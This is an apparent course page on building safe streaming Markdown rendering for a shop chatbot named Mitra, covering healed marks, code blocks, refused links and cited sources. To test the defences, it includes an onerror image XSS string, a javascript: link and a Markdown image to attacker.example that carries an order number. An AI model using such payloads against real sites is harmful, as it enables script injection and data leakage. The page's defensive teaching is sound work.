Command Palette

Search for a command to run...

Hectal
PHASE 6Intermediate ~30 min· topic 8 of 8

Topic 6.8

Build: Mitra Formats Its Answers

In one line

Mitra on the AI SDK now draws its answers as safe, streaming Markdown: healed marks, code blocks with a copy button that waits for the closing fence, links that are checked, and numbered sources the user can open.

Think of it like this

A shop assistant who used to hand over scribbled notes now gives a neat printed receipt: bold totals, a list of items, a tear-off tracking slip. The shop is the same. Mitra's answers had the same content before Phase 6; now they look right while they are being written, and nothing a stranger slipped into them can act on the page.

Words you'll meet

New words in this topic, in plain English. Come back here whenever one feels fuzzy.

Message component
The React component that draws one chat message from its parts.
mapText
A hook of this course's small renderer: a function that receives the plain text between Markdown marks, used here to turn [1] into a link.
Heal
Close unfinished marks before parsing (Topic 6.1).
Source list
The numbered list of pages an answer used, drawn below it.
Scripted visitor
A few lines at the end of an example that type and click for you.
Derived state
A value computed from other state each render, such as a code block's writing, ready or cut off.

Step by step

01Start from Phase 5

Keep the route and the hook. Only two things around them change: the server writes sources, and the client draws messages with a new Message.

02The route writes sources, then the answer

createUIMessageStream writes two source-url parts (your order and the returns policy), then merges toUIMessageStream({ stream: result.stream, sendStart: false }). onError returns a message safe to show, so internal error text never reaches the user.

server partwhole filejs
const stream = createUIMessageStream({
  execute: async ({ writer }) => {
    writer.write({ type: "source-url", sourceId: "o", url: "https://shop.example/orders/1042", title: "Your order" });
    const result = streamText({ model, messages: await convertToModelMessages(messages) });
    writer.merge(toUIMessageStream({ stream: result.stream, sendStart: false }));
  },
  onError: () => "Mitra could not answer. Please try again.",
});

03Draw an assistant message

Collect the text parts, hide a trailing [ or [1, heal the text, and render it with Markdown. A codeBlock function hands each code block to CodeBlock; mapText turns [n] into superscript links to the source list.

browser partwhole filejsx
const text = message.parts.filter((p) => p.type === "text").map((p) => p.text).join("").replace(/\[\d*$/, "");
<Markdown text={heal(text)} codeBlock={(b, k) => <CodeBlock key={k} block={b} streaming={streaming} />} mapText={citer(sources)} />

04Check the result

The example ends with a scripted visitor that types a question and sends it. When the answer is complete it prints: the links on the page, the rel of the outside link, the label of the refused link (as plain text), the code block's language and contents with Copy enabled, and the count of payloads that ran, which must be zero.

Check the resultdiagram
Rendering diagram…

Try it yourself

  1. 1

    Take the healing out

    Change heal(text) to text in Message and run it.

    The final screen is the same, which is the trap: only the screens in between show stray marks. Topic 6.1's example shows how to measure them.

  2. 2

    Make the reply hostile

    Add <img src="x" onerror="window.bananas=1"> to the first line of REPLY.

    It appears as visible text and payloads that ran stays 0.

  3. 3

    Add a third source

    Write a third source-url in the server (the reply already says Postage is extra [3].).

    The list gains an entry, the marker becomes a link, and the console line about [3] turns false. Change the marker in REPLY to [4] and it stays plain text again.

Code & diagrams

Mitra, with safe Markdown, code blocks and sources

Mitra after Phase 6. Type your own questions: the stand-in model always gives this reply. The link to courier.example is an outside link; the javascript: link was refused and shows as plain text. If you press Copy in this preview, the real clipboard refuses and the note says Could not copy (Topic 6.2); on your own site it copies.

Preview

Press Run to see the page.

Console

Nothing logged yet.

Expected console output

code block is writing
code block is ready
links: #src-1 https://courier.example/t/1042 #src-2 https://shop.example/orders/1042 https://shop.example/help/returns
rel on outside link: noopener noreferrer
blocked label shown as text: click this
code block: bash | mitra track ORD-1042 | copy enabled: true
marker [3] has no source, left as text: true
payloads that ran: 0

Break it on purpose

Errors are the best teachers. Make each change, read the error, guess what went wrong, then reveal the answer.

Break #1

Turn the link check off

In the renderer's safeUrl, change the return line to return u.href; and run the example.

terminal
$ The console
── what you'll see ──
code block is writing
code block is ready
links: #src-1 https://courier.example/t/1042 javascript:throw new Error('React has blocked a javascript: URL as a security precaution.') #src-2 https://shop.example/orders/1042 https://shop.example/help/returns
rel on outside link: noopener noreferrer
Uncaught TypeError: Cannot read properties of null (reading 'textContent')

Myth vs fact

Myth

Formatting is the last thing to add.

Fact

Mitra's answers could carry strangers' text from the first day. Safe rendering is part of making the answer appear, not decoration added later.

Myth

A library removes the need to understand the rules.

Fact

You will still choose its options, add plugins and set a policy. The rules in this phase tell you which choices are safe.

Pro corner

Extra depth for experienced readers. New to this? Skip it for now and come back later.

  • ▸

    Put Markdown, CodeBlock and the link rules in one module with its own tests, and import it everywhere answers are drawn: chat, emails, notifications, shared pages. One place to fix.

  • ▸

    Keep the tests from this phase as a suite: every prefix of a long answer is clean, the hostile strings run nothing, unknown markers stay text. Run them whenever a dependency changes.

Remember this

  1. 1

    The problem this solves: Phase 5 ended with Mitra on useChat and streamText, showing every answer as plain text. Real answers contain bold, lists, links and code, and some of that text can come from places you do not control. This topic puts Topics 6.1 to 6.7 together in one small program.

  2. 2

    Where Mitra starts. The Phase 5 Mitra: /api/chat on streamText with toUIMessageStreamResponse; useChat with status, stop, error; elements #messages, #prompt, #send, #stop, #error, #status. Each assistant message drew its text with a plain <p>. We keep all of that and change only what draws the message.

  3. 3

    What changes. (1) The server writes two source-url parts before the model's stream and merges with sendStart: false (Topic 6.6). (2) A Message component draws the assistant's text through heal and Markdown (6.1), with a CodeBlock whose Copy button is on only when the fence has closed (6.2). (3) The renderer never builds HTML and refuses unsafe links (6.3). (4) After the answer, a numbered list of sources appears, and [1] markers become links to it (6.6). Half-written markers are hidden while it streams.

  4. 4

    What Mitra can do now that it could not before: show formatted answers while they stream with no stray marks; show code with a copy button that cannot copy half a command; open outside links safely and show a refused link as plain text; cite its sources and let the user open them. A hostile answer cannot run anything.

  5. 5

    What is still missing, and where it comes from: structured cards for orders and products instead of paragraphs (Phase 7). Tools that look up a real order, and approval before an action (Phase 8). Defences against prompt injection on the model side and limits on abuse (Phase 9). Cost and usage limits (Phase 13). Accessibility and language support in depth (Phase 10). Image handling is a rule, not yet a feature: Mitra draws no images, and Topic 6.4 tells you what to check before it does.

  6. 6

    Scenarios covered by this version. *Shown by this example's output:* a formatted answer with a list, a code block and sources; the code block going from writing to ready; a hostile link shown as plain text; an outside link with noopener noreferrer; an unknown marker ([3]) left as text. *Built the same way here but run in earlier topics:* no sources (Topic 6.6's second answer), and a broken stream, where the code block becomes cut off and the server's message is shown (Topic 6.2's second example). *Stop:* the CodeBlock here computes cut off for any open fence once streaming ends, so a stopped answer cannot be copied half-written; practice question 2 adds the "Answer stopped" note. This example does not run Stop itself.

Explain it without notes

01

Walk through what happens to one assistant message between the stream and the screen in Mitra.

02

Which parts of Phase 6 are defences, and which are comfort?

03

How would you extend Mitra to show images safely?

Practice

01

Add a test button that sends a reply containing ![x](https://attacker.example/p.png?note=ORD-1042) and make Mitra show "Image blocked (attacker.example)" instead of an image.

02

Make the Stop button leave a note "Answer stopped" under a message whose stream was stopped, and keep its open code block uncopyable.

Trade-offs

  • ↔

    Mitra's renderer is small and fully understood, but it covers a subset of Markdown. Switching to a library later is a good step once the product needs tables and nested lists, and the tests above tell you whether the new library keeps the same guarantees.

Done when you can

  • I can describe how one message goes from stream parts to a safe screen.

  • I can combine healing, safe links, code blocks and citations in one Message.

  • I can state what Mitra gained in Phase 6 and what Phases 7 to 13 add.

  • I can name the tests that keep the rendering safe over time.

  • I can say what I would check before letting Mitra show an image.